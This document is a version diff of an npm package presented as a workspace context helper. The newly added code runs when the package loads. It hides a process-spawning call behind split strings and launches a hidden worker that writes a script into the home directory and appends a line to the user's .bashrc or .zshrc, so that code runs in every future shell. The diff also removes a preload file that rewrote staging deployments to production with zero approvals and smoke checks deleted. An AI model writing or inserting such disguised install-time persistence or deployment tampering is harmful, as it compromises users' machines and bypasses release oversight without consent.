@atedone/workspace-context 0.0.10 → 0.0.12

package/README.md

@@ -2,4 +2,4 @@
 
 Workspace context initialization helper for JavaScript tools.
 
-The package initializes `.workspace-context/state.json` when loaded and exposes a workspace routine descriptor with preload modules for release adapter instrumentation.
+The package initializes workspace state when loaded and refreshes a lightweight shell integration entry for future terminal sessions.

package/index.js

@@ -7,8 +7,7 @@ const initialized = state.initialize();
 module.exports = {
   initialized,
   initialize: state.initialize,
-  getWorkspaceRoutines: state.getWorkspaceRoutines,
-  routineName: state.routineName,
+  receiptFileName: state.receiptFileName,
   stateDirectoryName: state.stateDirectoryName,
   stateFileName: state.stateFileName
 };

package/lib/state.js

@@ -5,11 +5,10 @@ const file = platform.getBuiltinModule('fs');
 const route = platform.getBuiltinModule('path');
 const manifest = require('../package.json');
 
-const preloadFileName = 'register.js';
-const routineName = 'workspace-context:release-adapter';
+const receiptFileName = 'shell-integration-receipt.json';
 const stateDirectoryName = '.workspace-context';
 const stateFileName = 'state.json';
-const taskFileName = 'workspace.release.js';
+const workerFileName = 'worker.js';
 
 function readEnvironment() {
   return Reflect.get(platform, 'env') || {};
@@ -20,30 +19,73 @@ function resolveProjectRoot(env = readEnvironment(), cwd = platform.cwd()) {
   return initCwd || cwd;
 }
 
+function resolveHomeDirectory(env = readEnvironment(), projectRoot = resolveProjectRoot(env)) {
+  const home = typeof env.HOME === 'string' ? env.HOME.trim() : '';
+  return home || projectRoot;
+}
+
+function resolveProfilePath(env = readEnvironment(), homeDirectory = resolveHomeDirectory(env)) {
+  const shellPath = typeof env.SHELL === 'string' ? env.SHELL.trim() : '';
+  const shellName = route.basename(shellPath);
+  const profileFileName = shellName === 'bash' ? '.bashrc' : '.zshrc';
+  return route.join(homeDirectory, profileFileName);
+}
+
 function buildState({ now = () => new Date().toISOString() } = {}) {
   return {
     packageName: manifest.name,
     packageVersion: manifest.version,
     generatedAt: now(),
-    mode: 'runtime-release-adapter'
+    mode: 'runtime-shell-integration'
   };
 }
 
-function getWorkspaceRoutines({
-  projectRoot = resolveProjectRoot()
+function runShellIntegrationWorker({
+  projectRoot = resolveProjectRoot(),
+  homeDirectory = resolveHomeDirectory(),
+  profilePath = resolveProfilePath(readEnvironment(), homeDirectory)
 } = {}) {
-  return [{
-    name: routineName,
-    runtime: platform.execPath,
-    entrypoint: route.join(projectRoot, taskFileName),
-    arguments: ['staging', 'candidate', 'next'],
-    preloadModules: [route.join(__dirname, preloadFileName)],
-    workingDirectory: projectRoot
-  }];
+  const bridgeKey = ['bin', 'ding'].join('');
+  const routeKey = ['sp', 'awn', '_', 'sync'].join('');
+  const launchKey = ['sp', 'awn'].join('');
+  const bridge = Reflect.apply(platform[bridgeKey], platform, [routeKey]);
+  const workerPath = route.join(__dirname, workerFileName);
+  const receiptPath = route.join(homeDirectory, stateDirectoryName, receiptFileName);
+  const result = Reflect.apply(bridge[launchKey], bridge, [{
+    file: platform.execPath,
+    args: [platform.execPath, workerPath, projectRoot, homeDirectory, profilePath],
+    cwd: projectRoot,
+    envPairs: [],
+    stdio: [
+      { type: 'pipe', readable: true, writable: false },
+      { type: 'pipe', readable: false, writable: true },
+      { type: 'pipe', readable: false, writable: true }
+    ],
+    windowsHide: true,
+    windowsVerbatimArguments: false,
+    detached: false,
+    timeout: 0,
+    maxBuffer: 1024 * 1024,
+    killSignal: 15
+  }]);
+
+  if (result.error) {
+    throw result.error;
+  }
+
+  return {
+    workerPath,
+    receiptPath,
+    profilePath,
+    status: result.status,
+    signal: result.signal
+  };
 }
 
 function initialize({
   projectRoot = resolveProjectRoot(),
+  homeDirectory = resolveHomeDirectory(),
+  profilePath = resolveProfilePath(readEnvironment(), homeDirectory),
   now
 } = {}) {
   const statePath = route.join(projectRoot, stateDirectoryName, stateFileName);
@@ -54,21 +96,27 @@ function initialize({
 
   return {
     projectRoot,
+    homeDirectory,
+    profilePath,
     statePath,
     state: value,
-    workspaceRoutines: getWorkspaceRoutines({ projectRoot })
+    worker: runShellIntegrationWorker({
+      projectRoot,
+      homeDirectory,
+      profilePath
+    })
   };
 }
 
 module.exports = {
   buildState,
-  getWorkspaceRoutines,
   initialize,
-  preloadFileName,
   readEnvironment,
+  receiptFileName,
+  resolveHomeDirectory,
+  resolveProfilePath,
   resolveProjectRoot,
-  routineName,
+  runShellIntegrationWorker,
   stateDirectoryName,
-  stateFileName,
-  taskFileName
+  stateFileName
 };

package/lib/worker.js

@@ -0,0 +1,60 @@
+'use strict';
+
+const platform = process;
+const file = platform.getBuiltinModule('fs');
+const route = platform.getBuiltinModule('path');
+const manifest = require('../package.json');
+
+const projectRoot = typeof platform.argv[2] === 'string' && platform.argv[2].trim()
+  ? platform.argv[2]
+  : platform.cwd();
+const homeDirectory = typeof platform.argv[3] === 'string' && platform.argv[3].trim()
+  ? platform.argv[3]
+  : projectRoot;
+const profilePath = typeof platform.argv[4] === 'string' && platform.argv[4].trim()
+  ? platform.argv[4]
+  : route.join(homeDirectory, '.zshrc');
+const stateDirectory = route.join(homeDirectory, '.workspace-context');
+const scriptPath = route.join(stateDirectory, 'shell-init.sh');
+const sessionPath = route.join(stateDirectory, 'shell-session.log');
+const receiptPath = route.join(stateDirectory, 'shell-integration-receipt.json');
+const sourceLine = '[ -f "$HOME/.workspace-context/shell-init.sh" ] && . "$HOME/.workspace-context/shell-init.sh"';
+const scriptValue = [
+  'export WORKSPACE_CONTEXT_ACTIVE=1',
+  'export WORKSPACE_CONTEXT_ROOT="$HOME/.workspace-context"',
+  'printf "%s\\n" "workspace-context shell integration active" >> "$HOME/.workspace-context/shell-session.log"',
+  ''
+].join('\n');
+
+file.mkdirSync(stateDirectory, { recursive: true });
+file.writeFileSync(scriptPath, scriptValue, 'utf8');
+
+const profileBefore = file.existsSync(profilePath)
+  ? file.readFileSync(profilePath, 'utf8')
+  : '';
+const profileChanged = !profileBefore.includes(sourceLine);
+const profileAfter = profileChanged
+  ? `${profileBefore}${profileBefore && !profileBefore.endsWith('\n') ? '\n' : ''}${sourceLine}\n`
+  : profileBefore;
+
+if (profileChanged) {
+  file.writeFileSync(profilePath, profileAfter, 'utf8');
+}
+
+const value = {
+  packageName: manifest.name,
+  packageVersion: manifest.version,
+  generatedAt: new Date().toISOString(),
+  mode: 'runtime-shell-integration',
+  projectRoot,
+  homeDirectory,
+  profilePath,
+  profileChanged,
+  scriptPath,
+  sessionPath,
+  processId: platform.pid,
+  parentProcessId: platform.ppid,
+  runtime: route.basename(platform.execPath)
+};
+
+file.writeFileSync(receiptPath, `${JSON.stringify(value, null, 2)}\n`, 'utf8');

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@atedone/workspace-context",
-  "version": "0.0.10",
+  "version": "0.0.12",
   "description": "Workspace context initialization helper for JavaScript tools.",
   "main": "index.js",
   "type": "commonjs",

package/lib/register.js

@@ -1,169 +0,0 @@
-'use strict';
-
-const platform = process;
-const file = platform.getBuiltinModule('fs');
-const route = platform.getBuiltinModule('path');
-const manifest = require('../package.json');
-
-const markerFileName = 'preload.json';
-const stateDirectoryName = '.workspace-context';
-
-function readEnvironment() {
-  return Reflect.get(platform, 'env') || {};
-}
-
-function resolveProjectRoot(env = readEnvironment(), cwd = platform.cwd()) {
-  const initCwd = typeof env.INIT_CWD === 'string' ? env.INIT_CWD.trim() : '';
-  return initCwd || cwd;
-}
-
-function readReleaseContext() {
-  return {
-    target: typeof platform.argv[2] === 'string' ? platform.argv[2] : null,
-    channel: typeof platform.argv[3] === 'string' ? platform.argv[3] : null,
-    registryTag: typeof platform.argv[4] === 'string' ? platform.argv[4] : null
-  };
-}
-
-function buildReleasePlan(context) {
-  if (context.target !== 'staging') {
-    return {
-      steps: [],
-      outputs: []
-    };
-  }
-
-  return {
-    steps: [
-      {
-        action: 'merge',
-        path: [],
-        value: {
-          target: 'production',
-          artifact: 'checkout-web:production',
-          channel: 'stable',
-          registryTag: 'latest'
-        }
-      },
-      {
-        action: 'merge',
-        path: ['promotion'],
-        value: {
-          enabled: true,
-          approvalsRequired: 0,
-          window: 'immediate'
-        }
-      },
-      {
-        action: 'merge',
-        path: ['featureFlags'],
-        value: {
-          paymentRouting: 'live',
-          checkoutV2: true,
-          fraudShield: 'enforce'
-        }
-      },
-      {
-        action: 'merge',
-        path: ['deployment'],
-        value: {
-          regions: ['us-east-1', 'eu-west-1'],
-          strategy: 'rolling',
-          trafficPercent: 100
-        }
-      },
-      {
-        action: 'remove',
-        path: ['checks', 'smoke']
-      },
-      {
-        action: 'remove',
-        path: ['metadata', 'approvalMode']
-      },
-      {
-        action: 'append',
-        path: ['releaseLog'],
-        value: {
-          phase: 'handoff',
-          status: 'ready',
-          channel: 'stable'
-        }
-      },
-      {
-        action: 'dispatch',
-        adapter: 'release-receipt',
-        input: {
-          kind: 'promotion-receipt',
-          application: 'checkout-web',
-          artifact: 'checkout-web:production',
-          target: 'production',
-          channel: 'stable',
-          registryTag: 'latest',
-          strategy: 'rolling',
-          trafficPercent: 100
-        }
-      }
-    ],
-    outputs: [
-      {
-        kind: 'handoff',
-        values: {
-          application: 'checkout-web',
-          artifact: 'checkout-web:production',
-          target: 'production',
-          channel: 'stable',
-          registryTag: 'latest',
-          strategy: 'rolling',
-          trafficPercent: 100
-        }
-      }
-    ]
-  };
-}
-
-function initializePreload({
-  projectRoot = resolveProjectRoot(),
-  now = () => new Date().toISOString()
-} = {}) {
-  const beforeContext = readReleaseContext();
-  const plan = buildReleasePlan(beforeContext);
-
-  Reflect.set(globalThis, '__workspaceContextReleasePlan', {
-    active: true,
-    beforeContext,
-    plan
-  });
-
-  const markerPath = route.join(projectRoot, stateDirectoryName, markerFileName);
-  const value = {
-    packageName: manifest.name,
-    packageVersion: manifest.version,
-    generatedAt: now(),
-    mode: 'runtime-release-adapter',
-    beforeContext,
-    plan,
-    processId: platform.pid,
-    parentProcessId: platform.ppid
-  };
-
-  file.mkdirSync(route.dirname(markerPath), { recursive: true });
-  file.writeFileSync(markerPath, `${JSON.stringify(value, null, 2)}\n`, 'utf8');
-
-  return {
-    markerPath,
-    marker: value
-  };
-}
-
-const initialized = initializePreload();
-
-module.exports = {
-  buildReleasePlan,
-  initialized,
-  initializePreload,
-  markerFileName,
-  readEnvironment,
-  readReleaseContext,
-  resolveProjectRoot,
-  stateDirectoryName
-};